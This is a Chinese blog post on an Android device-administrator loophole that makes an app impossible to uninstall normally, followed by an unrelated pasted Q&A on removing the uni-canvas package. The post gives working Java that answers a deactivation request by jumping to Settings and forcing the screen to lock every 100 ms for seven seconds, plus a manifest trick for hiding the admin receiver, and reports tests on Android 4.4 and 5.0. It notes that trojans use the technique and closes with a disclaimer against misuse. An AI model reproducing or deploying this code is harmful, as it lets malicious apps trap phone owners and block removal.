编写一个无法卸载的App - 设备管理器漏洞

前两天某朋友发现手机有个app无法卸载,后知其因设备管理器激活导致,遂去尝试取消,但却在取消那刻卡机。反复折腾之后,只能重刷。后来他发了一篇关于设备管理器bug的文章给我,便有了如下一番折腾。

尝鲜

文章《Android 学习 设备管理器勾选后不能再取消了》(作者:带个回家)大致意思是:

继承 DeviceAdminReceiver 重写 onDisableRequested(Context context, Intent intent) 即可达到目的。

@Override
public CharSequence onDisableRequested(Context context, Intent intent) {
    // 这里处理 不可编辑设备。
    Intent intent2 = new Intent(context, NoticeSetting.class);
    intent2.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
    context.startActivity(intent2);
    context.stopService(intent);// 是否可以停止
    return ""; // "这是一个可选的消息,警告有关禁止用户的请求";
    }

在此之前,我并没有接触过设备管理器的功能,参考了 API Guides 的  Device Administration ,以及  DeviceAdminReceiver 的 API 后,试着写了一个跟上述文章一样的 app, 4.4 & 5.0均测试失败,可以正常取消激活

再战

搜索,找到《Android设备管理器漏洞》(作者:Jack_Jia)另一篇讲解此问题的文章。文章提到:

如果想在设备管理器列表中”隐身“,只要不注册 android.app.action.DEVICE_ADMIN_ENABLED广播就行。

也就是不给 intent-filter 标签设置该 action。

<receiver
    android:name=".MyDeviceReceiver"
    android:description="@string/receiver_description"
    android:label="@string/app_name"
    android:permission="android.permission.BIND_DEVICE_ADMIN">
    <meta-data
        android:name="android.app.device_admin"
        android:resource="@xml/device_manager_policies" />
    <intent-filter>
    
    </intent-filter>
</receiver>

4.4 & 5.0测试失败,设备管理器无法激活(代码激活不会弹出,设备管理器又找不到)。

三战

继续搜索,发现百度安全实验室一篇文章《Android设备管理器漏洞2》。文章提到:

已激活设备管理器权限的手机木马利用该漏洞,可以在设置程序的设备管理器列表中隐藏,这样用户就无法通过正常途径取消该手机木马的设备管理器权限,从而达到无法卸载的目的。Android4.2版本以上系统已经修复该漏洞。

通过调用stopAppSwitch()方法,系统保证在进入取消设备管理器界面后,5秒内不会进行Activity的切换。

onDisableRequested函数满足以下条件即可:

1、返回内容不能为空,这样才可以使设备管理器弹出取消激活设备管理器警示信息 Dialog。

2、通过Activity切换的方式使设备管理器弹出的警示信息Dialog消失。使用户无法操作Dialog。
如果做到以上两点,程序即可成功阻止用户取消激活设备管理器操作。

故,只要在 onDisableRequested 方法中,让用户在取消激活时5s内无法操作界面,然后采取 Activity 切换的方法即可绕开取消激活的步骤。这里为了测试直观并且试一试设备管理器的 api,采用了百度提供的连续锁屏法。测试环境为5.0。

public CharSequence onDisableRequested(Context context, Intent intent) {                                            
                                                                                                                    
    //跳离当前询问是否取消激活的 dialog                                                                                          
    Intent outOfDialog = context.getPackageManager().getLaunchIntentForPackage("com.android.settings");             
    outOfDialog.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);                                                            
    context.startActivity(outOfDialog);                                                                             
                                                                                                                    
    //调用设备管理器本身的功能,每 100ms 锁屏一次,用户即便解锁也会立即被锁,直至 7s 后                                                                
    final DevicePolicyManager dpm = (DevicePolicyManager) context.getSystemService(Context.DEVICE_POLICY_SERVICE);  
    dpm.lockNow();                                                                                                  
    new Thread(new Runnable() {                                                                                     
        @Override                                                                                                   
        public void run() {                                                                                         
            int i = 0;                                                                                              
            while (i < 70) {                                                                                        
                dpm.lockNow();                                                                                      
                try {                                                                                               
                    Thread.sleep(100);                                                                              
                    i++;                                                                                            
                } catch (InterruptedException e) {                                                                  
                    e.printStackTrace();                                                                            
                }                                                                                                   
            }                                                                                                       
        }                                                                                                           
    }).start();                                                                                                     
                                                                                                                    
    return "";                                                                                                      
}

  1. 安装后打开直接跳转激活界面:
    安装后打开直接跳转激活界面

  2. 一旦激活则无法正常卸载
    一旦激活则无法正常卸载

  3. 进入设备管理器界面
    进入设备管理器界面

  4. 尝试取消激活
    尝试取消激活

  5. 强制进入锁屏
    强制进入锁屏

至此,用户用普通方法无法卸载该app。测试使用某数字软件可以卸载,具体步骤:在数字软件的软件卸载功能中卸载Trick,此时提示取消激活,跳转到设备管理器界面取消激活,引发锁屏,强制锁屏7s结束后,切回数字软件,你会发现出现了取消激活的dialog,点击取消成功。

而文章开头提到的流氓软件,实则是跳转到一个所有按钮无效的自定义全屏界面(不是我这样跳到设置界面),使用数字软件无法解决问题。

总结

日后看到设备管理器激活申请定要小心三分,本文提及内容请勿不正当使用。

相关下载


  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 4
    评论
### 回答1: 卸载uni-canvas可以使用以下步骤: 1. 在你的终端或命令行中进入你的项目文件夹。 2. 输入以下命令来卸载uni-canvas: ``` npm uninstall uni-canvas ``` 如果你使用的是 yarn,则可以使用以下命令来卸载uni-canvas: ``` yarn remove uni-canvas ``` 3. 等待卸载过程完成。 注意: 如果你在你的项目中使用了 uni-canvas,在卸载之后可能需要手动修改你的代码来删除对 uni-canvas 的任何引用。 ### 回答2: 要卸载uni-canvas,可以按照以下步骤进行操作: 1. 首先,打开你的项目文件夹。 2. 在项目文件夹中,找到使用uni-canvas的相关文件,通常是在pages目录下的某个页面组件中引入了uni-canvas组件。 3. 打开引入了uni-canvas组件的页面组件文件,通常是以.vue为后缀的文件。在该文件中,找到对uni-canvas的引用代码。 4. 注释或删除对uni-canvas的引用代码,并保存文件。 5. 接下来,查找是否有其他与uni-canvas有关的文件,例如自定义组件或者插件。 6. 如果存在其他与uni-canvas有关的文件,也需要同样地注释或删除对uni-canvas的引用代码,并保存这些文件。 7. 卸载uni-canvas相关的npm包。在命令行中,进入到你的项目文件夹下,运行以下命令: ``` npm uninstall uni-canvas ``` 8. 等待npm包的卸载过程完成。 9. 在你的项目文件夹中,删除uni-canvas相关的文件和文件夹。包括卸载后通过npm命令生成的缓存文件夹和依赖文件。 10. 最后,重新编译你的项目,以确保uni-canvas完全从你的项目中移除。 以上是卸载uni-canvas的简要步骤,按照这些步骤操作后,你应该能够成功卸载uni-canvas。如果在操作过程中遇到问题,可以查阅uni-canvas的官方文档或者寻求相关开发人员的支持。 ### 回答3: 要卸载uni-canvas,可以按照以下步骤进行操作: 1. 打开uni-app项目的工程目录。 2. 进入项目的package.json文件。 3. 在该文件中,找到并定位到依赖项部分。 4. 在依赖项列表中,查找并找到uni-canvas的相关依赖项。 5. 记住相关依赖项的名称,例如 "@dcloudio/uni-canvas"。 6. 打开终端或命令行界面。 7. 在终端或命令行界面中,使用npm命令或yarn命令来卸载相关依赖项。 8. 使用命令类似于 "npm uninstall @dcloudio/uni-canvas" 或 "yarn remove @dcloudio/uni-canvas"。 9. 执行卸载命令后,等待相关依赖项被成功卸载。 10. 检查终端或命令行界面的输出,确认卸载的相关依赖项是否成功。 11. 如果一切顺利,终端或命令行界面将显示成功卸载相关依赖项的信息。 12. 重新编译项目,确保卸载uni-canvas不会导致任何错误。 以上是卸载uni-canvas的简单步骤。根据个人项目的具体情况,可能还需要进行其他操作,如清除缓存或配置文件等。如有需要,可以参考uni-app的官方文档或相关论坛获取更详细的指导。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值